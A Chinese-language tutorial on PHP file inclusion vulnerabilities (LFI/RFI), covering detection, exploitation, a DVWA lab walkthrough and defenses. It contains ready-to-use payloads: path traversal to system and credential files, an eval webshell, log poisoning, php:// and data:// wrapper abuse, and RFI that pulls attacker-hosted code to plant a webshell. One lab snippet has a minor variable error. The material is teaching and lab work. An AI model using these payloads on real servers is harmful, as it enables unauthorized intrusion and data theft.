本文所有知识点仅用于网络安全防御技术学习 ,测试手段仅可在合法授权的测试环境中使用。未经授权侵入他人系统、窃取信息属违法行为,将承担相应法律责任。网络安全的核心是 "攻防兼备",掌握攻击手段的同时,更要牢记防护使命,共同维护网络空间安全。
目录
[1. 常见 URL 特征](#1. 常见 URL 特征)
[2. 快速检测技巧](#2. 快速检测技巧)
[1. 读取系统敏感文件](#1. 读取系统敏感文件)
[2. 配合文件上传(图片马)](#2. 配合文件上传(图片马))
[3. 包含日志文件](#3. 包含日志文件)
[4. 绝对路径 vs 相对路径示例](#4. 绝对路径 vs 相对路径示例)
[1. 直接执行远程代码](#1. 直接执行远程代码)
[2. 写入 webshell 到目标服务器](#2. 写入 webshell 到目标服务器)
[六、靶场练习(DVWA LOW 级别)](#六、靶场练习(DVWA LOW 级别))
[1. LFI 读取 php.ini](#1. LFI 读取 php.ini)
[2. RFI 执行远程代码](#2. RFI 执行远程代码)
[3. 写入 webshell](#3. 写入 webshell)
一、什么是文件包含漏洞?
核心概念
开发人员为复用代码,会用include()等函数调用外部文件,若传入的文件名未做校验,被攻击者控制并传入恶意文件,就会引发文件包含漏洞。
简单说:代码里的 "文件调用" 参数能被篡改,攻击者就能让服务器执行不该执行的文件,比如读取敏感信息、注入恶意代码。
漏洞本质
- 服务器执行文件时,不管后缀名,只要内容是合法 PHP 代码就会执行;不是则直接打印文件内容。
- 核心成因:用户输入未过滤 + 危险函数调用 + 不安全配置。
二、文件包含漏洞的分类
| 类型 | 定义 | 关键条件 | 示例 |
|---|---|---|---|
| 本地文件包含(LFI) | 包含服务器本地的文件(相对 / 绝对路径) | 无需开启特殊配置,默认存在风险 | ?file=../../etc/passwd |
| 远程文件包含(RFI) | 包含互联网上的 URL 格式文件 | 需开启allow_url_fopen=On和allow_url_include=On(默认后者关闭) |
?page=http://攻击者服务器/恶意.php |
关键配置说明(php.ini)
allow_url_fopen = On # 默认开启,允许打开URL文件(LFI不受此影响)
allow_url_include = Off # 默认关闭,开启后才可能触发RFI
三、相关危险函数
include():执行到函数时才包含,报错仅警告,继续运行include_once():与include()功能一致,避免重复包含require():程序启动即包含,报错直接终止脚本require_once():与require()功能一致,避免重复包含
提示:这些函数本身没问题,风险在于传入的参数未做过滤!
四、漏洞特征与检测方法
1. 常见 URL 特征
?page=xxx.php?file=content?home=xxx.html
2. 快速检测技巧
| 检测目标 | 测试 payload | 说明 |
|---|---|---|
| 本地文件读取 | ?file=../../../../etc/passwd(Linux)或 ?file=C:\boot.ini(Windows) |
读取系统敏感文件,验证是否存在 LFI |
| 远程文件包含 | ?page=http://你的服务器/1.txt(1.txt 内写 PHP 代码) |
若执行成功,说明 RFI 可利用 |
| 路径遍历 | ?file=../2.php |
尝试访问上级目录的文件 |
五、漏洞利用实战
(一)本地文件包含(LFI)利用
1. 读取系统敏感文件
| 系统 | 敏感文件路径 | 用途 |
|---|---|---|
| Windows | C:\boot.ini | 查看系统版本 |
| Windows | C:\windows\repair\sam | 存储系统初始密码哈希 |
| Windows | C:\php.ini | PHP 配置信息 |
| Linux | /etc/passwd | 系统用户列表 |
| Linux | /usr/local/apache2/conf/httpd.conf | Apache 配置 |
| 通用 | 数据库配置文件(如./config.php) | 获取数据库账号密码 |
2. 配合文件上传(图片马)
- 制作图片马:将 PHP 代码(如
<?php @eval($_REQUEST[123]);?>)插入图片末尾,保存为shell.jpg - 通过文件上传漏洞上传
shell.jpg - 利用 LFI 包含图片马:
?file=./upload/shell.jpg - 连接 webshell:
?123=phpinfo();
3. 包含日志文件
服务器日志会记录请求信息,若日志未限制写入,可注入 PHP 代码:
- 构造请求:
http://目标IP/<?php phpinfo();?>(日志会记录该请求) - 包含日志文件:
?file=/var/log/httpd/access.log(Apache+Linux 日志路径) - 服务器会执行日志中的 PHP 代码
4. 绝对路径 vs 相对路径示例
- 绝对路径:
?file=C:\phpstudy\Apache\conf\httpd.conf - 相对路径:
?file=../Apache/conf/httpd.conf(从当前目录向上遍历)
(二)远程文件包含(RFI)利用
1. 直接执行远程代码
- 攻击者在自己的服务器创建
1.txt,内容:<?php phpinfo();?> - 目标 URL 注入:
?page=http://攻击者IP/1.txt - 目标服务器会将
1.txt当作 PHP 执行,返回 phpinfo 信息
2. 写入 webshell 到目标服务器
- 修改
1.txt内容:
php
<?php
$f = fopen("a.php", "w"); // 在目标服务器创建a.php
fputs($f, '<?php @eval($_REQUEST[123]);?>'); // 写入一句话木马
?>
- 访问
?page=http://攻击者IP/1.txt,触发文件创建 - 直接连接:
http://目标IP/a.php?123=phpinfo();
(三)伪协议高级利用
PHP 内置多种 "伪协议",可绕过过滤、读取源码或执行代码,核心常用如下:
| 伪协议 | 用途 | 关键条件 | 示例 |
|---|---|---|---|
| file:// | 访问本地文件系统 | 无,不受配置影响 | ?file=file://C:\Windows\hosts |
| php://filter | 读取文件源码(base64 编码) | 无 | ?file=php://filter/read=convert.base64-encode/resource=config.php(解码后获源码) |
| php://input | 执行 POST 数据中的 PHP 代码 | 需开启allow_url_include=On |
GET 参数:?file=php://input,POST 数据:<?php phpinfo();?> |
| data:// | 直接执行代码(支持 base64) | 需开启allow_url_include=On |
明文:?file=data://text/plain,<?php phpinfo();?>;base64:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= |
| zip:// | 包含压缩文件内的 PHP 代码 | 无,可改后缀绕过上传限制 | 1. 把shell.php压缩为shell.zip;2. 改名为shell.jpg上传;3. 包含:?file=zip://C:\upload\shell.jpg%23shell.php(%23 是 #的 URL 编码) |
提示:伪协议是 LFI 绕过过滤的 "神器",比如
php://filter能读取无法直接访问的 PHP 源码!
六、靶场练习(DVWA LOW 级别)
环境准备
- 用 PHPstudy 搭建 DVWA,打开
php.ini,设置allow_url_include=On,重启 Apache - 进入 DVWA → Vulnerabilities → File Inclusion
实战步骤
1. LFI 读取 php.ini
- 构造 URL:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../phpStudy/PHPTutorial/WWW/DVWA/php.ini - 成功读取 PHP 配置信息
2. RFI 执行远程代码
- 本地创建
3.txt,内容:<?php phpinfo();?> - 构造 URL:
http://localhost/dvwa/vulnerabilities/fi/?page=http://192.168.0.104/3.txt - 页面返回 phpinfo,说明 RFI 利用成功
3. 写入 webshell
- 修改
3.txt内容:<?php fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[123]);?>')?> - 访问上述 URL,触发 a.php 创建
- 连接:
http://localhost/dvwa/vulnerabilities/fi/a.php?123=phpinfo();
七、漏洞防御方案
- 禁用危险配置 :设置
allow_url_include=Off(核心),allow_url_fopen按需关闭 - 限制文件范围 :
- 白名单机制:仅允许包含指定文件(如
$allow = ['home.php','about.php']; if(in_array($file,$allow)){include($file);}) - 配置
open_basedir:限制 PHP 只能访问指定目录(如open_basedir = /var/www/html/)
- 白名单机制:仅允许包含指定文件(如
- 严格过滤输入 :
- 过滤
../、..\等路径遍历字符 - 禁止传入
http://、https://、file://等伪协议关键字
- 过滤
- 初始化变量 :确保包含的变量(如
$file)有默认值,避免直接接收用户输入 - 服务器端过滤:所有过滤逻辑放在服务器端,客户端过滤仅作辅助(不可信)
总结
文件包含漏洞的核心风险是 "未授权文件访问 + 代码执行",LFI 默认存在,RFI 依赖特定配置。防御的关键是限制输入、禁用危险配置、缩小文件访问范围。
实际渗透中,常结合文件上传、日志注入等技巧放大危害,日常开发需牢记:用户输入皆是不可信的,必须经过严格校验后再使用!